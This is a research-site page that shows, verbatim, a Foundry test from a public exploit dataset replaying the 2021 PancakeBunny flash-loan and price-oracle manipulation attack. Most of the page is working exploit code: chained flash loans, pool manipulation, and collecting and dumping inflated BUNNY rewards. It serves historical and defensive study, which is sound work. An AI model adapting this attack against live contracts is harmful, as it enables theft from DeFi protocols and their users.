Public reproduction file
src/test/2021-05/PancakeBunny_exp.sol
Public reproduction file for the historical PancakeBunny incident (2021-05-19). Shown verbatim because the incident is older than 30 days and not known to be still exploitable.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity >=0.7.0 <0.9.0;4import "forge-std/Test.sol";5import "./../interface.sol";7/**8 * Exploit:9 * Tx 1 : https://bscscan.com/tx/0x88fcffc3256faac76cde4bbd0df6ea3603b1438a5a0409b2e2b91e7c2ba3371a10 * Attacker zaps 1 BNB into WBNB-USDT VaultFlipToFlip11 *12 * harvest() tx: https://dashboard.tenderly.co/tx/bsc/0x9c48fd13d65f5f951882282444a45a7b84c4f673891bbdcc48af68ed305950bb/debugger?trace=0.013 *14 * Tx 2 : https://bscscan.com/tx/0x897c2de73dd55d7701e1b69ffb3a17b0f4801ced88b0c75fe1551c5fcce6a97915 * Attacker's price oracle manipulation transaction16 *17 * Resources:18 * https://pancakebunny.medium.com/hello-bunny-fam-a7bf0c7a07ba19 * https://cmichel.io/bsc-pancake-bunny-exploit-post-mortem/20 * https://rekt.news/pancakebunny-rekt/21 * https://www.newsbtc.com/news/company/bsc-flash-loan-attack-pancakebunny/22 */23contract ContractTest is Test {24 CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);25 address WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;26 address USDT = 0x55d398326f99059fF775485246999027B3197955;27 address BUNNY = 0xC9849E6fdB743d08fAeE3E34dd2D1bc69EA11a51;29 IVaultFlipToFlip flip = IVaultFlipToFlip(0x633e538EcF0bee1a18c2EDFE10C4Da0d6E71e77B);31 IBunnyZap zap = IBunnyZap(0xdC2bBB0D33E0e7Dea9F5b98F46EDBaC823586a0C);33 IPancakeRouter router = IPancakeRouter(payable(0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F));35 Uni_Pair_V2 WBNBUSDTv1 = Uni_Pair_V2(0x20bCC3b8a0091dDac2d0BC30F68E6CBb97de59Cd);36 Uni_Pair_V2 WBNBUSDTv2 = Uni_Pair_V2(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);37 Uni_Pair_V2 WBNBBUNNY = Uni_Pair_V2(0x7Bb89460599Dbf32ee3Aa50798BBcEae2A5F7f6a);39 Uni_Pair_V2 WBNBCAKE = Uni_Pair_V2(0x0eD7e52944161450477ee417DE9Cd3a859b14fD0);40 Uni_Pair_V2 WBNBBUSD = Uni_Pair_V2(0x58F876857a02D6762E0101bb5C46A8c1ED44Dc16);41 Uni_Pair_V2 WBNBETH = Uni_Pair_V2(0x74E4716E431f45807DCF19f284c7aA99F18a4fbc);42 Uni_Pair_V2 WBNBBTC = Uni_Pair_V2(0x61EB789d75A95CAa3fF50ed7E47b96c132fEc082);43 Uni_Pair_V2 WBNBSAFEMOON = Uni_Pair_V2(0x9adc6Fb78CEFA07E13E9294F150C1E8C1Dd566c0);44 Uni_Pair_V2 WBNBBELT = Uni_Pair_V2(0xF3Bc6FC080ffCC30d93dF48BFA2aA14b869554bb);45 Uni_Pair_V2 WBNBDOT = Uni_Pair_V2(0xDd5bAd8f8b360d76d12FdA230F8BAF42fe0022CF);46 Uni_Pair_V2[] pairs = [WBNBCAKE, WBNBBUSD, WBNBETH, WBNBBTC, WBNBSAFEMOON, WBNBBELT, WBNBDOT];48 IFortubeBank FortubeBank = IFortubeBank(0x0cEA0832e9cdBb5D476040D58Ea07ecfbeBB7672);50 address keeper = 0x793074D9799DC3c6039F8056F1Ba884a73462051;52 constructor() public {53 cheat.createSelectFork("bsc", 7_556_330);55 IERC20(WBNB).approve(address(zap), 1e18);56 IERC20(address(WBNBUSDTv2)).approve(address(flip), type(uint256).max);57 IERC20(address(USDT)).approve(address(router), type(uint256).max);58 IERC20(address(WBNB)).approve(address(router), type(uint256).max);59 }61 function testExploit() public {62 payable(WBNB).call{value: 1e18}("");64 emit log_named_decimal_uint(65 "Initial WBNB balance of attacker:", IERC20(WBNB).balanceOf(address(this)), IERC20(WBNB).decimals()66 );67 emit log_named_decimal_uint(68 "Initial USDT balance of attacker:", IERC20(USDT).balanceOf(address(this)), IERC20(USDT).decimals()69 );70 emit log_named_decimal_uint(71 "Initial BUNNY balance of attacker:", IERC20(BUNNY).balanceOf(address(this)), IERC20(BUNNY).decimals()72 );74 // Deposit a minimum amount of WBNB + USDT to VaultFlipToFlip, transfer LP tokens to WBNB + USDT Pancake pool.75 emit log_string("Zapping 1 WBNB into WBNB+USDT v2 pool...");77 zap.zapInToken(WBNB, 1e18, address(WBNBUSDTv2));78 uint256 lpamount = IERC20(address(WBNBUSDTv2)).balanceOf(address(this));79 flip.deposit(lpamount);81 emit log_string("After X blocks, the keeper of VaultFlipToFlip calls harvest()");83 cheat.warp(1_655_908_339);84 cheat.roll(7_556_391);86 // Keeper needs to call flip.harvest() so that flip.earned(address(this)) > 087 cheat.prank(keeper);88 (bool success,) = address(flip).call(abi.encodeWithSignature("harvest()"));89 require(success, "flip.harvest() fails");91 emit log_string("Exploit begins:");93 trigger();94 }96 function trigger() public {97 if (flip.earned(address(this)) > 0) {98 //Initiate flashloans99 emit log_string("Initiate flashloans...");101 (uint256 _amount0, uint256 _amount1,) = pairs[0].getReserves();102 if (WBNB == pairs[0].token1()) {103 pairs[0].swap(0, _amount1 - 1, address(this), abi.encode(0, 1));104 } else {105 pairs[0].swap(_amount0 - 1, 0, address(this), abi.encode(0, 0));106 }108 // execution passes to pancakeCall()110 // all flashloans have been repaid!111 emit log_string("All flashloans have been repaid!");113 //Collect profit114 emit log_named_decimal_uint(115 "Collected WBNB profit:", IERC20(WBNB).balanceOf(address(this)), IERC20(WBNB).decimals()116 );117 emit log_named_decimal_uint(118 "Collected USDT profit:", IERC20(USDT).balanceOf(address(this)), IERC20(USDT).decimals()119 );120 } else {121 revert("Nothing earned.");122 }123 }125 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {126 (uint256 level, uint256 asset) = abi.decode(data, (uint256, uint256));128 // Take 6 WBNB flashloans from PCS129 if (level + 1 < 7) {130 level++;131 (uint256 _amount0, uint256 _amount1,) = pairs[level].getReserves();132 if (WBNB == pairs[level].token1()) {133 pairs[level].swap(0, _amount1 - 1, address(this), abi.encode(level, 1));134 } else {135 pairs[level].swap(_amount0 - 1, 0, address(this), abi.encode(level, 0));136 }137 } else {138 //flashloan from fortube bank139 uint256 usdtFlashloanAmount = 2_961_750_450_987_026_369_366_661; // 2'961'750.450987026369366661 USDT141 FortubeBank.flashloan(address(this), USDT, usdtFlashloanAmount, hex"");142 // execution passes to executeOperation()143 }145 //repay each PCS flashloan146 uint256 retAmount = asset == 0 ? ((amount0 * 10_000) / 9975 + 1) : ((amount1 * 10_000) / 9975 + 1);147 require(IERC20(WBNB).balanceOf(address(this)) >= retAmount, "not making proift");148 IERC20(WBNB).transfer(msg.sender, retAmount);149 }151 function executeOperation(address token, uint256 amount, uint256 fee, bytes calldata params) public {152 uint256 usdtBalance = IERC20(USDT).balanceOf(address(this));154 emit log_named_decimal_uint(155 "After all PCS flashloans, attacker WBNB balance:",156 IERC20(WBNB).balanceOf(address(this)),157 IERC20(WBNB).decimals()158 );160 emit log_named_decimal_uint(161 "After Fortube Bank flashloan, USDT balance of attacker:", usdtBalance, IERC20(USDT).decimals()162 );164 // *Actual exploit*165 exploit();167 // Start repaying flashloans168 emit log_string("Repaying flashloans...");170 // Repay fortube flashloan171 uint256 usdtOwed = amount + fee;172 IERC20(USDT).transfer(FortubeBank.controller(), usdtOwed);173 }175 function exploit() public {176 uint256 wbnbAmount = IERC20(WBNB).balanceOf(address(this)) - 15_000e18;178 // Manipulate BunnyMinter._zapAssetsToBunnyBNB - deposit liquidity179 IERC20(WBNB).approve(address(zap), type(uint256).max);180 zap.zapInToken(WBNB, 15_000e18, address(WBNBUSDTv2));181 uint256 attackerLPBalance = IERC20(address(WBNBUSDTv2)).balanceOf(address(this));182 IERC20(address(WBNBUSDTv2)).transfer(address(WBNBUSDTv2), attackerLPBalance);184 emit log_string("Dumping all WBNB for USDT on WBNB+USDT v1 pool..");186 // Manipulate WBNB - USDT pair187 (uint256 reserve0, uint256 reserve1,) = WBNBUSDTv1.getReserves();188 uint256 amountIn = wbnbAmount;189 uint256 amountOut = router.getAmountOut(amountIn, reserve1, reserve0);190 IERC20(WBNB).transfer(address(WBNBUSDTv1), amountIn);191 WBNBUSDTv1.swap(amountOut, 0, address(this), hex"");193 emit log_named_decimal_uint(194 "After dumping all WBNB, WBNB balance of attacker:",195 IERC20(WBNB).balanceOf(address(this)),196 IERC20(WBNB).decimals()197 );198 emit log_named_decimal_uint(199 "After dumping all WBNB, USDT balance of attacker:",200 IERC20(USDT).balanceOf(address(this)),201 IERC20(USDT).decimals()202 );204 //Collect inflated rewards205 flip.getReward();207 emit log_named_decimal_uint(208 "After collecting rewards, BUNNY balance of attacker:",209 IERC20(BUNNY).balanceOf(address(this)),210 IERC20(BUNNY).decimals()211 );213 //Dump BUNNY214 emit log_string("Dumping all BUNNY for WBNB on WBNB+BUNNY pool...");215 {216 uint256 bunnyBalance = IERC20(BUNNY).balanceOf(address(this)) - 1;217 (uint256 reserve0, uint256 reserve1,) = WBNBBUNNY.getReserves();218 uint256 amountIn = bunnyBalance;219 uint256 amountOut = router.getAmountOut(bunnyBalance, reserve1, reserve0);221 IERC20(BUNNY).transfer(address(WBNBBUNNY), amountIn);222 WBNBBUNNY.swap(amountOut, 0, address(this), hex"");224 emit log_named_decimal_uint(225 "After dumping all BUNNY, WBNB balance of attacker:",226 IERC20(WBNB).balanceOf(address(this)),227 IERC20(WBNB).decimals()228 );229 }230 }231}Analysis
What this file is
A public Foundry test from the DeFiHackLabs dataset for the PancakeBunny incident dated 2021-05-19. It reproduces the historical attack against archived chain state. The incident is years old and the affected systems were patched or shut down; we show the file verbatim under our code disclosure policy.
How to read it
The test sets up a fork, labels the relevant addresses, then walks through the steps the attacker used. Treat it as a historical case study for defenders, not as something to run against live contracts.
Fixes and defensive tests
- Review privileged entry points
- Limit what external coin can be pulled without intent checks
- Pause or migrate when a class of bug is public
Related files
7 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2021-05/bEarn_exp.solSame month in the dataset · 66 lines
- src/test/2021-05/BurgerSwap_exp.solSame month in the dataset · 190 lines
- src/test/2021-05/JulSwap_exp.solSame month in the dataset · 88 lines
- src/test/2021-05/RariCapital_exp.solSame month in the dataset · 45 lines
- src/test/2021-05/Spartan_exp.solSame month in the dataset · 124 lines
- src/test/2021-05/ValueDefi_exp.solSame month in the dataset · 61 lines
Also imports external libraries: forge-std/Test.sol.
File record
- Name
- PancakeBunny
- Path
- src/test/2021-05/PancakeBunny_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 9fd67b8a4758b5bab9896c69188083c304a1107d
- Language
- Solidity
- Size
- 232 lines
- Date
- 2021-05-19
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2021-05/PancakeBunny_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9fd67b8a4758b5bab9896c69188083c304a1107d, retrieved 2026-10-19. Verbatim file content read with git show at the pinned commit; SPDX header preserved; stored locally for the on-site reader. ThreatWire has never executed this file. Reference: source file at the pinned commit.